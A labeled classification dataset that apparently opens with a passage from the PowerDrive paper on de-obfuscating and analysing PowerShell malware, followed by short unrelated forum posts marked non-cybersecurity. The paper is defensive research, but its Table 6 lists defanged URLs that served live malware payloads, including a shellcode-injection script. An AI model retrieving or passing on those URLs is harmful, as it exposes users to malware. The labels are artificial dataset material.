command script analysis), returns the de-obfuscated code and executes it to
retrieve any additional payloads. If the analyzed code contacts external URLs,
external files are downloaded and stored. The general structure of the system is
depicted in Figure 1, and the analysis is carried out through the following phases:
1. Layer Detection. A set of rules to determine the obfuscation layer (if any)
employed by the script.
2. Pre-Processing. A set of operations performed to check possible syntax
errors, remove anti-debugging codes, and so forth.
3. Layer De-Obfuscation. The true de-obfuscation of the layer is performed
here. Depending on the layer type, we use static regex or dynamic cmdlet
instrumentation to perform de-obfuscation.
4. Script Execution. The system executes the de-obfuscated script to retrieve
additional payloads.
The input file is parsed as follows: the system immediately starts the Layer
Detection phase to look for traces of obfuscation. If the detection is successful,
PowerDrive pre-processes and de-obfuscates the layer. Then, the system checks
if the de-obfuscated output still contains obfuscated elements. If they are found,
pre-processing and de-obfuscation are once again repeated. This procedure is
performed until no other traces of obfuscation are located, and the file is finally
executed to retrieve additional payloads or executables. We provide more details
about each phase in the following.
Layer Detection. The goal of this phase is establishing the type of obfuscation
layer. There are three possibilities: String-based, Encoded, Compressed. The type
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 9
Fig. 1. A general representation of the PowerDrive structure.
of layer determines the strategies employed by PowerDrive to de-obfuscate the
code. Such detection is performed by employing rules that are implemented
through regular expressions. For example, to verify if a layer is Base64 encoded
we could use the following regular expression:
$InputString -Match "^([ A-Za-z0-9 +/]{4}) *([ A-Za-z0-9 +/]{4}|[
A-Za-z0-9 +/]{3}=|[ A-Za-z0-9 +/]{2}==)$")
Listing 1.7. Regular expression to detect Base64 encoded layers.
Pre-Processing. The pre-processing phase is very important to prepare the
scripting code for de-obfuscation. As shown in Figure 1, this phase is carried out
through multiple steps:
1. Multi-line Detection. Some commands are split into multiple lines. For
more efficient analyses, these lines are joined so that each command takes
exactly one line.
2. Clean Up. The code is analyzed to remove additional garbage characters
that might be there as a result of other analysis (for example, a script
extracted from a Microsoft Office macro).
3. Syntax Check. The syntax of the code is checked to understand whether
or not the code is fully functional. Some malware samples can be broken and
10 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
not run properly due to syntax errors. If the syntax check fails, the analysis
of the script is aborted.
Layer De-Obfuscation. This is the phase in which de-obfuscation occurs. Two
major de-obfuscation strategies are employed, according to the type of layer that
is analyzed:
– Regex. This strategy employs regular expressions to take common patterns
that occur in string obfuscation. This technique is only used for String-based
obfuscation layers. An example of regex that is employed to de-obfuscate
String Reordering is reported in Listing 1.8. How such a regex is used is
straightforward: it returns and organizes the position of each word according
to the numbers found between brackets (see Table 1). Then, the words are
sorted in increasing order and they are joined to rebuild the final string. More
information on how regex is employed can be found on the project source
code [30].
$Regex = [Regex ]:: Matches($Script, "(.*?) \(\ ’\{(.*?)
\}\’\s*-f\s*\ ’(.*?)\’\)")
Foreach($Match in $Regex) {
$FormattedStringWordPositions = "{$($Match.Groups [2].
Value)}"
$FormattedStringWords = "’$($Match.Groups [3]. Value)’"
...
Listing 1.8. Regex employed to de-obfuscate String Reordering.
– Cmdlet Override. This de-obfuscation technique is employed on Encoded
or Compressed layers. The main idea is that, as reported in Section 2.1, users
can define and even override their own cmdlets. The key idea to de-obfuscate
these layers is simple, yet effective. Normally, in PowerShell it is possible
to use the cmdlet Invoke-Expression to run strings as commands. When
the cmdlet executes such strings, they are automatically de-obfuscated at
runtime. By considering this, it is possible to override the cmdlet by tracing
the content of the arguments (i.e., the obfuscated string it receives). Listing
1.9 shows how Invoke-Expression can be overridden.
function Invoke-Expression () {
param(
[Parameter(
Mandatory = $true)]
[string]$obfuscatedScript
)
Write-Output "$($obfuscatedScript)"
}
Listing 1.9. Overriding of Invoke-Expression.
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 11
Anti-Debugging Detection. PowerDrive considers the possibility that mal-
ware may employ anti-debugging techniques to avoid dynamic execution of the
code. For this reason, PowerDrive removes popular ways to prevent code debug-
ging: (i) it removes any references to sleep instructions, which are commonly
used in malware to slow down execution; (ii) it automatically removes the Out-
Null cmdlet, which is used to redirect the stdout to NULL (a common technique
used by malware to hide the effects of some of its actions); (iii) it removes
infinite loops that would hang the analysis and try-catch blocks that may confuse
analyzers; (iv) it removes try-catch blocks to point out possible exceptions that
can be raised by the code, and that would not normally be printed to the user.
Script Execution. Once all layers have been de-obfuscated, the code is executed
to retrieve additional payloads and executables. Again, to intercept the loaded
executables we override three cmdlets: Invoke-WebRequest, Invoke-Rest and
New-Object. By performing this overriding, we can extract and download all the
additional executables that are contacted by the script.
5 Evaluation
In this section, we describe the results of the evaluation performed by running
PowerDrive on a large number of malicious samples in the wild. The goal of
this evaluation was to shed light on the content of such malicious scripts and to
understand the obfuscation strategies, behavioral execution patterns, and actions
that characterize them. Before describing in detail our results, we provide an
insight into the employed dataset.
Dataset. The dataset employed for the evaluation proposed in this paper is
organized as follows:
– 4079 scripts obtained from the analysis performed by White [20], who dis-
tributed a public repository of PowerShell attacks that have been used as
performances benchmark in recent works [14, 11]. These scripts were obtained
in 2017 from malicious executables and documents. We refer to these scripts
as PA (PaloAlto) dataset.
– 1000 malicious scripts extracted from the analysis of document-based malware
samples (.doc,.docm,.xls,.xlsm) that were discovered in the second half
of 2018. The files were obtained from the VirusTotal service [12] and have
been analyzed with ESET Vhook, a dynamic analysis system for Office files [9].
We refer to these scripts as VT (VirusTotal) dataset.
Before starting the analysis, we wanted to make sure that each script of
the dataset was properly executing code without errors (except for connection
errors obtained when a non-existent domain was contacted). Correct execution
of the code is critical, as non-working codes could ruin the dynamic part of the
analysis and lead to inaccurate results, thus compromising the overall evaluation
12 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
statistics. For this reason, we chose to exclude from this analysis those files which
could not be executed on the target machine due to syntax errors. This choice
led to 132 and 152 non-working files for, respectively, the PA and VT dataset. In
particular, there are multiple reasons why such files were flagged as non-working:
(i) they contained simple commands that were not related to malicious actions;
(ii) they contained syntax errors that would make their execution fail; (iii) for
Office files, the resulting PowerShell script was not correctly extracted by VHook.
Additionally, there were 186 files that could not be analyzed due to technical
limitations (see Section 6) Overall, the analysis was run on 4642 working scripts
that could be effectively analyzed.
Now, we provide extended statistics of the analyses carried out by PowerDrive.
The rationale behind our analysis was following the structure of the system
(reported in Figure 1) to examine the characteristics of the scripts, and reporting
the results accordingly.
Layer Detection and Characteristics. Table 2 reports how many obfuscation
layers were employed in each sample. Notably, all files (with only one exception)
adopted only one obfuscation layer. This aspect can be explained with the fact
that attackers do not need extremely complex obfuscation strategies to bypass
anti-malware detection. Moreover, obfuscated files are typically produced by
off-the-shelf tools (such as Metasploit or the Social Engineering Toolkit -
SET [23, 28]), which do not include complex obfuscation routines.
Table 2. Number of layers that are contained in each malicious PowerShell script.
Number of obfuscation layers Number of scripts (%)
0 (No obf.) 238 (5.1%)
1 4403 (94,8%)
2 1 (0.01%)
Table 3. Types of layers retrieved by PowerDrive for files containing one obfuscation
layer (out of 4403 scripts).
Layer Type Number of scripts
Encoded 3918 (89%)
String-Based 485 (11%)
Compressed 0
Table 3 extends what reported by the previous table by showing the types of
obfuscation layers adopted by files that employed one layer. Base64 encoding was
widely used, while only 10% of the samples resorted to String-based obfuscation.
The reason for such a choice is clear: encoding makes any code reading impossible
without performing proper decoding. Hence, this is often the best, low-effort
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 13
obfuscation strategy for attackers (much better than Compression, which was
never used in our dataset). On the contrary, String-based obfuscation was less
preferred, as one single mistake may entirely compromise the complete function-
ality of the code. Notably, out the 485 working files whose strings have been
obfuscated, 87 employed String concatenation and ticks, while the remaining 398
adopted String reordering, the most complex obfuscation of this group (and that
also explains why attackers favored that kind of obfuscation strategy). Finally,
we observe that the only files that employed two obfuscation layers adopted two
types of encoding : Base64 and binary.
Pre-Processing. The majority of correctly executed scripts did not require
special pre-processing operations before being executed. However, we note that
77 scripts used multi-line commands, and were fixed accordingly. Clean Up was
performed on 387 files. Finally, 90 scripts contained one additional function beside
the main code (which would make them hard to analyze for those parsers that
analyze single commands).
Layer De-obfuscation and Anti-Debugging. As reported in Section 4, the
de-obfuscation type is chosen depending on the layer type that is detected. For
all files that correctly completed their execution, we managed to correctly de-
obfuscate the analyzed layers. However, after de-obfuscation, we found that it
was necessary to remove anti-debugging attempts that would have conditioned
the execution of the code. Table 4 reports the attained results. Note how Sleep
was largely used by the majority of malicious files in the wild. If we combine
this information with the extended use of Base64 encoding, it is evident that the
most occurring pattern adopted by attackers employed evasion attempts against
both static and dynamic analysis. Again, if we think about the psychology of the
attacker, this strategy constitutes the one with the best trade-off between efficacy
and complexity of the obfuscation.
Table 4. Number of scripts that resorted to anti-debugging actions.
Pre-Processing Action Number of scripts (%)
Anti-Debug (Sleep) 2360 (50.8%)
Anti-Debug (Infinite) 34 (0.7%)
Anti-Debug (NULL Redir.) 13 (0.3%)
Execution. After de-obfuscation, each code was analyzed to retrieve its essential
characteristics and to extract possible behavioral patterns. Figure 2 depicts an
interesting scenario that reflects the actions performed, generally, by Power-
Shell scripts. The first, easy-to-imagine aspect here is that the two key actions
are related to payload download and execution. However, almost half of the an-
alyzed attacks directly loaded and executed malicious bytes from memory. This
strategy was devised to avoid detection from anti-malware engines. Likewise, a
percentage of the codes also focused on killing or closing processes. Again, this
14 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
can be used to stop anti-malware engines or to kill the process itself after a certain
execution time. Other samples created shells to execute further instructions, and
very few ones attempted to change the Windows registry to achieve permanent
access to the infected machine.
0 500 1000 1500 2000 2500
Number of samples
Registry Key Addition
Process Stop
Shell Execution
Process Kill
Function Execution
Memory Execution
Process Start
Malware Download
Fig. 2. Occurrences of the most used actions in PowerShell attacks.
One important characteristic of PowerShell attacks is that they often resort
to environmental variables to access system paths or to execute the dropped
payloads. Figure 3 shows the distribution of the most used environmental variables.
It is possible to note that the two most used ones in our dataset were APPDATA
and TEMP. These variables are typically used to refer to paths that could store
files that are temporarily dropped. Such actions are widespread in Windows
malware.
Another compelling aspect of PowerShell scripts is the possibility of retrieving
and inferring behavioral patterns. As malicious scripts typically resort to minimal
sets of functions (or, in this case, cmdlets), we could elaborate concise patterns
that could be applied to multiple scripts. In this way, we could obtain a set of
6 behavioral patterns, described in Table 5. There could be many additional
ways that may be systematically used to infect machines, but these are the most
common ones found in the dataset. Note how the payload was essentially always
downloaded from external URLs, except when it was executed directly from
memory. In this case, the script only resorted to functions that load it into RAM
before starting the process. Another way of running processes was through an
intermediate shell that was open. In this case, the process management (stop
or kill) was invoked to terminate the shell once all the malicious operations
are performed. Note that we used the term Var. Manip. to define possible
environmental or external variables assignments and changes.
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 15
0 500 1000 1500 2000 2500
Number of samples
EMAIL
PUBLIC
USERPROFILE
LOCALAPPDATA
TEMP
APPDATA
0 500 1000 1500
Number of samples
Shell Execution
Process Start
Malware Download
Fig. 3. Most common environmental variables retrieved from the analyzed
PowerShell codes and their use.
Table 5. Six most occurrent patterns in the examined PowerShell attacks.
Pattern Download Proc. Start Shell Exec. Var. Manip. Proc. Kill Mem. Load
Down+Exec X X
Down+Shell X X
Exec+Shell X X X
Exec+Var X X X
Shell+Kill X X X X
Mem+Exec X X
Finally, during our analysis, we retrieved multiple URLs and domains that
were contacted by malicious scripts. Most of them were already taken down, but
18 of them were still up on February 22nd, 2019. We contacted each of them
to verify if and what kind of files they dropped. Table 6 shows the complete
URLs, along with the classification provided by VirusTotal [12], of the top-5
URLs with the highest VirusTotal score (i.e., how many anti-malware systems
detected the downloaded files as malware). Notably, many URLs were regarded
as malicious by a minimal number of anti-malware engines. These results could
mean either that proper signatures for that payload were not developed yet, or
that the downloaded files further redirect to other websites.
Multiple Layer De-Obfuscation. As previously stated in this section, almost
all PowerShell codes analyzed for this work did not employ more than one
obfuscation layers. However, to demonstrate the functionality of PowerDrive, we
included in the project website a proof-of-concept in which a command has been
obfuscated in the same way as the one proposed in Section 3 (i.e., by employing
String-based, Encoding and Compression layers), and was correctly analyzed by
PowerDrive. It is also possible to further obfuscate the sample by adding other
layers (especially compression and encoding). PowerDrive was able to analyze
further and decompress potential additional layers that were included.
16 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
Table 6. List of the top-5 working URLs, found in PowerShell malware, that are still
active on February 22nd, 2019, together with the score provided by the VirusTotal
service.
URL VirusTotal Score
hxxp://i.cubeupload.com/RDlSmN.jpg 46/68
hxxps://raw.githubusercontent.com/PowerShellEmpire/Empire/master
/data/module source/code execution/Invoke-Shellcode.ps1
26/60
hxxp://www.pelicanlinetravels.com/images/xvcbkty.exe 8/64
hxxp://fetzhost.net/files/044ae4aa5e0f2e8df02bd41bdc2670b0.exe 8/64
hxxp://aircraftpns.com/ layout/images/sysmonitor.exe 3/69
6 Discussion and Limitations
The attained results depicted a very interesting status quo concerning attacks
that employ PowerShell. While some actions performed by PowerShell malware
were somehow expected (e.g., dropping additional executables from malicious
URLs), other aspects were interesting to observe, and in a sense unexpected. For
example, one may have expected to find samples that employed very complex
obfuscation strategies, which spanned over multiple layers. However, this analysis
gave us a different picture, in which attackers did not implement extra protections
in their codes. Likewise, the general structure of the analyzed attacks can be
summarized and organized in patterns that, despite the changes in the functions
and variables used, are recognizable. Nevertheless, as detection techniques and
analysis tools (such as PowerDrive) become more and more effective at protecting
users from such attacks, we will soon observe new patterns and obfuscation
strategies.
Although PowerDrive proved to be very useful at de-obfuscating and analyz-
ing malicious PowerShell codes in the wild, it still features some limitations. The
first one concerns the employed methodology. Notably, our idea was developing an
approach that could quickly and effectively provide feedback to the analyst, and
regex is excellent for this purpose. However, albeit we did not observe it in the
wild, using such an approach may expose the de-obfuscation system to evasion
attempts that target the implemented regex. Although regex can be refined to
address such attempts, more sophisticated techniques (e.g., statistical-based)
may be necessary, as it already happens with X86 malware [32].
We also point out some technical limitations: (i) the lack of variable tracing,
which does not allow users to taint variables, in order to see how they evolve
during code execution; (ii) PowerDrive cannot instrument or de-obfuscate attacks
that employ APIs belonging to the .NET language, but it only works with cmdlets
(iii) as stated in Section 5, we were not able to analyze 186 files during our
evaluation. In particular, in some cases, it was not possible to decompress some
byte sequences that were previously encoded with Base64. In other cases, the
script employed compression through gzip, which is currently not supported by
our system. Moreover, some scripts contacted external URLs to receive bytes
that would be used as variables of the PowerShell script. Finally, we found some
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 17
variants of the String-based obfuscation that made our regex-based de-obfuscation
detection fail; (iv) fileless malware detection is currently not supported. We plan
to extend PowerDrive to address such limitations.
Finally, as future work, we plan to integrate PowerDrive with other tech-
nologies, for example with machine learning-based ones. Apart from solving
the classical problem of detecting attacks, it would be even more interesting to
understand the adversarial aspects of the problem, by for example generating
automatic scripting codes that can evade deep learning algorithms, also employed
in previous works (see Section 7).
7 Related Work
We start this section by providing an insight into the prominent, state-of-
the-art works on de-obfuscation on binaries and Android applications. Then, we
focus more on PowerShell scripts, by describing the contributions proposed by
researchers and companies for their analysis and detection.
De-Obfuscation. First works on analyzing obfuscated binaries were proposed by
Kruegel et al. [15], by referring to the obfuscation strategies defined by Collberg et
al. [7]. In particular, this work discussed basic techniques to reconstruct the
program flow in obfuscated binaries and tested if popular, off-the-shelf tools
were able to analyze such binaries. Udupa et al. [29] proposed some control flow-
related strategies to de-obfuscate X86 binaries, including cloning and constraint-
based static analysis to determine the feasibility of specific execution paths.
Anckaert et al. [1] defined quantitative metrics to measure the effectiveness
of de-obfuscation techniques applied against control flow flattening and static
disassembly thwarting.
Further important works focused on analyzing obfuscated malware whose
instructions were loaded through a VM-based interpreter [25]. In particular,
Coogan et al. [8] proposed a technique to recognize instructions that do not
belong to the original code by analyzing those that directly affect the values of
system calls. Yadegari et al. [32] further extended this work by proposing a general
de-obfuscation approach that employs taint propagation and semantics-preserving
code transformations. The idea here is using these techniques to reverse engineer
complex Control Flow Graphs that were generated through Return Oriented
Programming (ROP) and reconstruct them while preserving the application
semantics.
As can be seen, the majority of the de-obfuscation techniques applied to
binaries feature the reconstruction of the samples control-flow graphs. Power-
Shell scripting codes are typically much more straightforward from this perspec-
tive, as the efforts of the attackers focused on making very compact sequences of
instructions as less readable as possible. Hence, the de-obfuscation techniques
18 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
employed in this paper have been specifically tailored to how PowerShell scripts
typically work.
Some more recent works on de-obfuscation of Android applications are also
worth a mention. In particular, Bichsel et al. [2] proposed a de-obfuscation
approach based on probabilistic approaches that use dependency graphs and
semantic constraints. Wong and Lie [31] adopted code instrumentation and
execution to understand what kind of obfuscation has been employed by the
Android app. Notably, code instrumentation is an approach that is also used
(albeit in a different fashion) by PowerDrive by overriding cmdlets.
PowerShell Analysis. Rousseau [24] proposed different methods to facilitate
the analysis of malicious PowerShell scripts. These techniques require in-depth
knowledge of the .NET framework and their implementation has not been publicly
released. A large-scale analysis of PowerShell attacks has been proposed by Bo-
hannon et al. [5] (who, incidentally, have also released the obfuscator mentioned in
Section 3). To address the complexity of obfuscated scripts, the authors proposed
various machine learning strategies to statically distinguishing between obfuscated
and non-obfuscated files. To this end, they released Revoke-Obfuscation [4],
an automatic tool that models each PowerShell script as an Abstract Syntax
Tree (AST), thus performing classification by using linear regression and gradient
descent algorithms. However, apart from stating information about whether the
file is obfuscated or not, the tool does not perform de-obfuscation.
Other machine learning-based approaches used Deep Learning to distinguish
between malicious and benign files. Hendler et al. [14] proposed a classification
method in which Natural Language Processing (NLP) techniques and Convolu-
tional Neural Networks (CNN) were used together. FireEye [10] also employed
a detection approach based on machine learning and NLP, by resorting to a
tree-based stemmer. This approach is more focused on analyzing single Power-
Shell commands more than the entire scripts. Finally, Rusak et al. [11] proposed
a detection approach by modeling PowerShell codes with AST and by using
Deep Learning algorithms to perform classification.
Finally, concerning off-the-shelf tools to analyze PowerShell, PSDecode [22]
is the only publicly available one that can be used to de-obfuscate scripts. Its core
idea (i.e., overriding cmdlets with customized code) has points in common with
the approach we adopted in this paper. However, its output and performances
exhibit significant limitations, making the tool entirely unfeasible for being used
on real scenarios. Furthermore, the tool does not consider multiple corner cases
and crashes against scripts obfuscated with [3].
From the works that we described here, it is evident that PowerShell analysis
is still a fresh, novel topic to be deeply studied. The scarcity of publicly available,
efficient tools for de-obfuscating malicious PowerShell codes constitutes a strong
motivation for the release of PowerDrive.
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 19
8 Conclusions
In this paper, we presented PowerDrive, an automatic, open-source system
for de-obfuscating and analyzing PowerShell malicious files. By resorting to the
static and dynamic analysis of the code, PowerDrive was able to de-obfuscate
thousands of malicious codes in the wild, thus providing interesting insights into
the structure of these attacks. Moreover, PowerDrive can recursively de-obfuscate
PowerShell scripts through multiple layers, by providing a robust and easy-to-
use approach to analyze these scripts. We are publicly releasing PowerDrive,
along with the dataset used for this work, with the hope of fostering research
in the analysis of PowerShell attacks. PowerDrive can also be integrated with
other systems to carry out further investigations and provide additional insight
into the functionality of PowerShell malware.
Acknowledgements
This work was supported by the INCLOSEC and PISDAS projects (CUPs
G88C17000080006 and E27H1400 3150007). The projects are funded, respectively,
by Sardegna Ricerche and Regione Autonoma della Sardegna.
References
1. Bertrand Anckaert, Matias Madou, Bjorn De Sutter, Bruno De Bus, Koen De Boss-
chere, and Bart Preneel. Program obfuscation: A quantitative approach. In
Proceedings of the 2007 ACM Workshop on Quality of Protection, QoP ’07, pages
15–20, New York, NY, USA, 2007. ACM.
2. Benjamin Bichsel, Veselin Raychev, Petar Tsankov, and Martin Vechev. Statistical
deobfuscation of android applications. In Proceedings of the 2016 ACM SIGSAC
Conference on Computer and Communications Security, CCS ’16, pages 343–355,
New York, NY, USA, 2016. ACM.
3. Daniel Bohannon. Invoke-Obfuscation. https://github.com/danielbohannon/
Invoke-Obfuscation.
4. Daniel Bohannon and Lee Holmes. Revoke-obfuscation. https://github.com/
danielbohannon/Revoke-Obfuscation, 2017.
5. Daniel Bohannon and Lee Holmes. Revoke-obfuscation: Powershell obfuscation
detection using science. https://www.fireeye.com/content/dam/fireeye-www/
blog/pdfs/revoke-obfuscation-report.pdf, 2017.
6. Security Boulevard. Following a Trail of Confusion: Power-
Shell in Malicious Office Documents. https://www.bromium.com/
powershell-malicious-office-documents/, 2018.
7. Christian Collberg, Clark Thomborson, and Douglas Low. A taxonomy of obfuscat-
ing transformations. Technical Report 148, Department of Computer Sciences, The
University of Auckland, July 1997.
20 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
8. Kevin Coogan, Gen Lu, and Saumya K. Debray. Deobfuscation of virtualization-
obfuscated software: A semantics-based approach. In Proceedings of the 18th ACM
Conference on Computer and Communications Security, CCS ’11, pages 275–284,
New York, NY, USA, 2011. ACM.
9. ESET. Vba dynamic hook. https://github.com/eset/vba-dynamic-hook, 2016.
10. FireEye. Malicious PowerShell Detection via Machine Learn-
ing. https://www.fireeye.com/blog/threat-research/2018/07/
malicious-powershell-detection-via-machine-learning.html, July 2018.
11. Una-May OReilly Gili Rusak, Abdullah Al-Dujaili. Poster: Ast-based deep learning
for detecting malicious powershell. CoRR, abs/1810.09230, 2018.
12. Google. Virustotal. https://www.virustotal.com.
13. Daniel Grant. Deobfuscating PowerShell: Putting The Toothpaste
Back In The Tube. https://www.endgame.com/blog/technical-blog/
deobfuscating-powershell-putting-toothpaste-back-tube, October 2018.
14. Danny Hendler, Shay Kels, and Amir Rubin. Detecting malicious powershell com-
mands using deep neural networks. In Proceedings of the 2018 on Asia Conference
on Computer and Communications Security, ASIACCS ’18, pages 187–197, New
York, NY, USA, 2018. ACM.
15. Christopher Kruegel, William Robertson, Fredrik Valeur, and Giovanni Vigna.
Static disassembly of obfuscated binaries. In Proceedings of the 13th Conference on
USENIX Security Symposium - Volume 13, SSYM’04, pages 18–18, Berkeley, CA,
USA, 2004. USENIX Association.
16. Malwarebytes. State of Malware Report. https://resources.malwarebytes.com/
files/2019/01/Malwarebytes-Labs-2019-State-of-Malware-Report-2.pdf,
2019.
17. McAfee. Fileless malware execution with powershell is easier than you may
realize. https://www.mcafee.com/enterprise/en-us/assets/solution-briefs/
sb-fileless-malware-execution.pdf, 2017.
18. McAfee. Labs Threats Report. https://www.mcafee.com/enterprise/en-us/
assets/reports/rp-quarterly-threats-sep-2018.pdf, September 2018.
19. Microsoft Corporation. PowerShell. https://docs.microsoft.com/en-us/
powershell/scripting/powershell-scripting?view=powershell-6.
20. PaloAlto. Pulling back the curtains on encodedcommand powershell
attacks. https://researchcenter.paloaltonetworks.com/2017/03/
unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
, 2017.
21. PDQ. Powershell Commands List. https://www.pdq.com/powershell/.
22. R3RUM. Psdecode. https://github.com/R3MRUM/PSDecode, 2018.
23. Rapid7. Metasploit. https://www.metasploit.com.
24. Amanda Rousseau. Hijacking .net to defend powershell. CoRR, abs/1709.07508,
2017.
25. Monirul Sharif, Andrea Lanzi, Jonathon Giffin, and Wenke Lee. Automatic reverse
engineering of malware emulators. In 2009 30th IEEE Symposium on Security and
Privacy, pages 94–109, May 2009.
26. Sophos. SophosLabs 2019 Threat Report. https://www.sophos.com/en-us/
medialibrary/pdfs/technical-papers/sophoslabs-2019-threat-report.pdf,
2018.
27. Symantec. Internet Security Threat Report. https://www.symantec.com/content/
dam/symantec/docs/reports/istr-23-2018-en.pdf, March 2018.
28. Trustedsec. Social engineering toolkit. https://github.com/trustedsec/
social-engineer-toolkit.
PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware 21
29. Sharat K. Udupa, Saumya K. Debray, and Matias Madou. Deobfuscation: reverse
engineering obfuscated code. In 12th Working Conference on Reverse Engineering
(WCRE’05), pages 10 pp.–54, November 2005.
30. Denis Ugarte. Powerdrive. https://github.com/denisugarte/PowerDrive, 2019.
31. Michelle Y. Wong and David Lie. Tackling runtime-based obfuscation in android
with tiro. In Proceedings of the 27th USENIX Conference on Security Symposium,
SEC’18, pages 1247–1262, Berkeley, CA, USA, 2018. USENIX Association.
32. Babak Yadegari, Brian Johannesmeyer, Benjamin Whitely, and Saumya K. Debray.
A generic approach to automatic deobfuscation of executable code. In 2015 IEEE
Symposium on Security and Privacy, pages 674–691, May 2015.
| 1cybersec
| arXiv |
Bill and Ted's excellent inception!. | 0non-cybersec
| Reddit |
Clean install, what partitions can be removed?. <p>When you buy a new PC or laptop it is pre-installed with Windows and a lot of vendor software. I prefer to have a clean environment and do a new Windows installation.</p>
<p>I thought i would find the 0 drive with two partitions: The install partition and the recovery partition. On the 1 drive i thought there would only one partition.</p>
<p>However, I find this: </p>
<p><a href="https://i.stack.imgur.com/Pbs5n.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/Pbs5n.jpg" alt="Picture of partitions"></a></p>
<p>What are the MSR and System partition that are on the 0 drive, and why is there also a recovery partition on the 1 drive?</p>
<p>Is it safe to remove the partitions and just create a Windows and data partition?</p>
| 0non-cybersec
| Stackexchange |
How to use spot instance with amazon elastic beanstalk?. <p>I have one infra that use amazon elastic beanstalk to deploy my application.
I need to scale my app adding some spot instances that EB do not support.</p>
<p>So I create a second autoscaling from a launch configuration with spot instances.
The autoscaling use the same load balancer created by beanstalk.</p>
<p>To up instances with the last version of my app, I copy the user data from the original launch configuration (created with beanstalk) to the launch configuration with spot instances (created by me).</p>
<p>This work fine, but:</p>
<ol>
<li><p>how to update spot instances that have come up from the second autoscaling when the beanstalk update instances managed by him with a new version of the app?</p>
</li>
<li><p>is there another way so easy as, and elegant, to use spot instances and enjoy the benefits of beanstalk?</p>
</li>
</ol>
<p><strong>UPDATE</strong></p>
<p>Elastic Beanstalk add support to spot instance since 2019... see:
<a href="https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html" rel="nofollow noreferrer">https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html</a></p>
| 0non-cybersec
| Stackexchange |
Live USB version of Kali Linux GRUB issues. <p>I have installed kali linux on a 32GB USB drive, and i have a 9GB partition for persistence. Also, the Macbook Pro i am running Kali on requires the AMD GPU to be disabled, so i am using <a href="https://orville.thebennettproject.com/articles/installing-ubuntu-14-04-lts-on-a-2011-macbook-pro/" rel="nofollow noreferrer">this guide</a> to disable the AMD GPU (Step 3). I want to disable it permanently, but the <code>/etc/default/grub</code> file is missing. I reinstalled GRUB 2.0 and the grub config file was there although there was an error:</p>
<pre><code> error: failed to get canonical path of 'overlay'
</code></pre>
<p>After editing it , i couldn't get the grub-update command to run. It says that there is no such command. And after rebooting, the file disappeared again.</p>
<p>Please help me with this issue. I appreciate your assistance greatly.</p>
| 0non-cybersec
| Stackexchange |
How to use USB Displaylink monitor with Raspberry PI 3. Hello,
I am working on a cosplay that will use a live screen powered over usb. I wish to use the raspberry pi to display to the usb monitor.
​
I have purchased the AOC monitor: [https://www.amazon.com/gp/product/B00CMKOVMO/ref=ppx\_yo\_dt\_b\_asin\_title\_o00\_s00?ie=UTF8&psc=1](https://www.amazon.com/gp/product/B00CMKOVMO/ref=ppx_yo_dt_b_asin_title_o00_s00?ie=UTF8&psc=1)
​
I am using a raspbian stretch.
​
Sources:
[https://www.displaylink.org/forum/showthread.php?p=86383](https://www.displaylink.org/forum/showthread.php?p=86383)
[https://www.raspberrypi.org/forums/viewtopic.php?f=66&t=12761](https://www.raspberrypi.org/forums/viewtopic.php?f=66&t=12761)
[https://www.raspberrypi.org/forums/viewtopic.php?f=66&t=12761&start=25](https://www.raspberrypi.org/forums/viewtopic.php?f=66&t=12761&start=25)
[https://www.novaspirit.com/2015/12/31/low-end-tech-how-to-setup-dual-monitor-on-raspberry-pi/](https://www.novaspirit.com/2015/12/31/low-end-tech-how-to-setup-dual-monitor-on-raspberry-pi/)
[https://www.raspberrypi.org/forums/viewtopic.php?t=172703](https://www.raspberrypi.org/forums/viewtopic.php?t=172703)
[http://www.zz9.co.za/aoc-usb-displaylink-raspberry-pi/](http://www.zz9.co.za/aoc-usb-displaylink-raspberry-pi/)
[https://imkiyoung.wordpress.com/2014/07/25/aoc-e1649fwu-16-usb-powered-portable-with-raspberry-pi/](https://imkiyoung.wordpress.com/2014/07/25/aoc-e1649fwu-16-usb-powered-portable-with-raspberry-pi/)
These are the sources I have looked into so far. I have tried most of the solutions listed here, but none of them seem to work and the monitor doesn't even become listed as an option. I do not believe that the options here would even work unless the Pi detected it to begin with.
​
Edit: [https://github.com/notro/rpi-source/wiki](https://github.com/notro/rpi-source/wiki)
i found this rpi-source. it force installs the correct linux headers because apt-get install raspberrypi-linux-headers doesnt appear to function properly
​
the displaylink script still errors out just at a different step now
​
# To anyone hoping for a solution and has stumbled upon this, best of luck. This is hell.
​
You will solve one problem and open up many more. I am unable to find a solution still. This seems possible but every source i found has the dreaded "I fixed this thanks" as the solution. GOod luck | 0non-cybersec
| Reddit |
Access to a drive through a VPN. <p>I bought a hosted VPS (with Windows Server 2012) on which i would like to do two things:
- Run a client/server application
- Map as a letter a drive</p>
<p>The idea is to connect through a VPN to secure the data transfer, and to let me access remotely to my files.</p>
<p>Do I need a DC ? What about the certificate ?
What are the essential steps you could recommend me to do in order to set up ?</p>
<p>Thanks in advance
Thomas</p>
| 0non-cybersec
| Stackexchange |
The State of the Occupation. From London to West Papua, a look at how Occupy-style movements are faring around the world.. | 0non-cybersec
| Reddit |
need advice for my ryzen 7 3700x, rx 5700 XT build. Hi!
back in 2009 when i was 11, i built my first pc with my dad - an impressive i5-750, radeon HD 5770 for my gaming needs. Well, we are about to head into 2020, and i think an upgrade is due. I love my old boy, but he wont play most games these days unfortunately.
